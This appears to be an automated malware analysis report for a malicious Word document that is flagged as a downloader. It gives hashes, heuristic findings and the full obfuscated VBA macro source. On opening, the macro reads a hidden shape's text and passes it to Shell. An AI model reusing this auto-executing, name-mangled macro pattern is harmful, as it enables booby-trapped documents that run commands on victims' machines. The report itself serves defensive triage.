Office (OLE) malware analysis — malicious · 4f9e90fdea5dffe2

MALICIOUS

Office (OLE)

131.5 KB Created: 2018-12-10 21:10:00 Authoring application: Microsoft Office Word First seen: 2019-02-20

MD5: a0fcdc63e84669a328032a0e17708d44 SHA-1: 97d38c8e8d4ac9acfbc294cda000ff5b08b85656 SHA-256: 4f9e90fdea5dffe26c45708e6ffb06fda9ece8db28f52282426826ea1f09c69b

292 Risk Score

Heuristics 10

ClamAV: Doc.Downloader.Generic-6779622-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6779622-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

tEitWlajwTjdGviBMzXv = nYtXRMozRtjjGzF
JIwlcD = Array(LONAEcGn, VGjkWEZl, faCuAvcR, Shell(zOSpqpzMSfs, iKBdZpTaHwi), nOwVKVHMD)
   PWiTQiDPzwIwWzGuQTF = bquOISvnijGPrMulLMiGWPOd

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Attribute VB_Customizable = True
Sub autoopen()
iztZi
```
Suspicious cmd.exe invocation with execution flag high SC_STR_CMD

Suspicious cmd.exe invocation with execution flag
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	3796 bytes
SHA-256: `f38ee13dcdf368d4798766d39b75b23db1d506a7ef5c18f2b0cba24537dd7f5e`
Detection ClamAV: No threats found Obfuscation or payload: likely 143 of 172 identifiers look randomly generated (e.g. 'YMYlSOJoXwwWrAziUJsLkoRh') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "SzhmCAHDnZRzRV" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub autoopen() iztZi End Sub Attribute VB_Name = "huWVlfWomMZ" Function iztZi() On Error Resume Next BkiNiwTIrvbJfJ = mHjbrwFKzXTwFSqdFsOnU NlRvCnOFCqtcXLoojEwZfp = zOqARWRRWOwuvJvtR uVdFdufpQIJruJYXRhMnwikY = NZRtinLfikUkukwVcFJ swkPWiRanKWnAMTACjjFU = HaMtJtthKsYkpphdmzza AYwTATkcvALPOoJCdU = hGAdPPXdTZwkItHHCQZ aIFPsNUbAXaJiZs = AvjEcpRCwQCWGhHlE FKJioiaPbTmFkZXZPMEAQBH = AiOjdTdCRsurzXqwZzju RjEidzERRdEDii = TtlHqknrffasWFbS MbiuKwzTZlAOpoUojf = LYETdrZDDHiLpKiqCzPJ htvMYApaaZdYhtnPZFLhM = oOoAizJwpQAVPYtEzj JMuMqCSLoSfiVYMFhXXSs = bkNXMdOVUIbzDIuBw PmVjJhizDSMhZRrslKzSqpwS = XGYVDLfYZCFwvaftOZwJniKG SRLiiInoWjSbwvULkz = FKboKoJnHZpTdjSGLp qbsYzrpEVsoHUR = jJrdApZVfOjQosfpIWiIrNmb VjnvSSVCiCJPioMRGMJSbAMp = fllIGSWPjfGmZN Set jBjIapC = SzhmCAHDnZRzRV.Shapes(maGbAHjI + "HkNiHzpw" + Plvqj).TextFrame zYATPwlcDnBhQhuMk = uSnHUCkDzjKIsZmniDSUM MruQizYfdXjKZwcpDzj = zBRvvcvdwruQYTGv DUkfUFmchzpKsAUl = dKZzVGDujmcQmG wClPQuJORPRvodVHRjG = pqjsCohciZlkINWHajcFVB aVZMlZYrtrplFSsNbMhfs = jnbGNjlGASnHJXcbvDJi sTcRoiSBsnVpvolliLsFmqW = zJVkzRdWKmnUzpZwSFHiRRNi CdwOmoqLjjGCzuwbvk = RbzppbwUEIZNwHzNEDTUs dNrrbqXWDHjzVuCnGn = TlCGSHuwhuYbPrwzmzzzIz FShzlEKQwjjYjaGZkhrqc = fQHZwPqInfWDznkHItWi jPSXXwAwHDhjAKXuR = hrlFUqIdSqOucPkZwZhTjzwR IwNiGJiNUXwfaucP = dKiNaRzbLzNwNhtTtMrvvMh jIsltYiFDqVojwhhOHuL = PHqFLjikTzRcBhSZNh SmEiZFbHYqZSEzniZo = bYuzcOtRTpHBbDXNtqEUDYi rHTTViMMwMEvXocTfnIR = ozOhltrVUoDuNGUua kdvFPzbqENloPPNPDJElkpUr = YABJiIYFsYnViiPGvod zOSpqpzMSfs = jBjIapC.ContainingRange + JhoRVKQ + uWMEk + fhrwU + ELhROIAZ + NVkiBbmD + vVmKi + JzHrRRX + DdQBjOJb PsMNLmfCKwJWwa = GCPdKlPzLpSsJfVCwU XLKRGUVOqZlJMnvdAws = PzvBYtuWXovMCVDLwkJ oWZXZfFFOCVEDuM = QJtNazrCiYHrkkjQpkl QNpwEVjKBWizGUsnPZ = dvlQfXuiwKUUKiTJrFtaYnrw KsWYUHmORAYfzJZJmkzh = YSnLAiWwXpDnjU YKiDhGsduiuvUQlDsQfm = iNTZPPuKUrOpulcFwzu EptZtCwODdaUYTczNcpzo = AFpVvzHnHkYfQocjVRMFt HjBSOYWJazuWonjYG = GQWpwtDoWjHYninlwJUdijQz YktzowwKMwdtRkHP = BpCCLMiDpaEcQXzZfXJ vfuShEjWSuafcCbpPETaUA = zqFIpvRRVzkkiCdkj NXlnHkfhisQqjUvOzcb = qbAdEjrSzmmUnAHciKiUdIMZ fSQpPFBIkjmWIi = sNkvGwDjMSjntHSiObb iYKlwsjNSfiJjYtMOIV = VDRbwmkqWATnlFpOC GtjrYJGSsnOodFnZ = aGioMItrRMrXaj JBBbjdiIUdtwbhXOzMCO = TXulpAHzPvREjic Const iKBdZpTaHwi = 0 NrKXwjwnBZjmqzIisWtjCw = hDHnnAEdjrFjQbmQbI wGQnkzpBALvAkOUdUqwInzw = ukQrHFGSbICQQP nzwERlrVUwzSaizFwJN = zjwuuFcZbMDMESJKosfSDPv WCvYmIcqSaFznFstCNkRfPSm = MiwiJjPwPQQitXzj HzlNLRszjzDhQHjIOZZiHJ = pCYpbLIpmhtHVBzAQFicjMP IhZfwXFiwEvKncQoXHRAWzOH = ZJYYjKdnZjuldrOcP jSKmVnBYZXTmlzcIhnPwT = nTTUAwbfNOijWL COBBLiBVLnKTAzGrOQhfq = AmFwtKEIEaQXiYOuIS wHhqcafHXPQpjujOOwOprQ = ijCdVhdTIOtsLT XzXbSPSAvJqXoOwrSqKMt = URWRjNswbrLjARYvkiwBcwA MQMiRoRWpjcGFBjFIwh = LEOhTWGfPrOWQwESANfnapuU SqjwqsiQBOHCfLuilGzRGp = wNFvSuZVKutAjWj UpCYCcnwhKzbWPj = ACFzsFJHwkDQasposQad UZMvOMmVXDGwrOitK = OjuZSZWVoVIjGpDLf tEitWlajwTjdGviBMzXv = nYtXRMozRtjjGzF JIwlcD = Array(LONAEcGn, VGjkWEZl, faCuAvcR, Shell(zOSpqpzMSfs, iKBdZpTaHwi), nOwVKVHMD) PWiTQiDPzwIwWzGuQTF = bquOISvnijGPrMulLMiGWPOd pbczarRnjwZcTLzmQkQssHJC = iEpwZMbRRTrTqDsocK VIsBjTGiwkEiSZcsn = oGkwKCrGTZhXDQwthMq QFDTUKkzOVoEKPMGoaVzO = VsltFjhRGPLshjnUol FovEdUTHHEwYsSvkLhaE = PzOZtRhcTTmkQJ ZnIZlZaNKqSamzbnNhcp = jijDminkJobIPKXYBSiojEj EhkaYnnQNopShQO = KJrqXPQCczXqQjvOw YMYlSOJoXwwWrAziUJsLkoRh = aPzzhsbUisBrZqdjisUEFFWq LmWmPjvrmrwMoqDWCJIwr = TOfBvzcsVsGSVGFhSIGzmwi End Function

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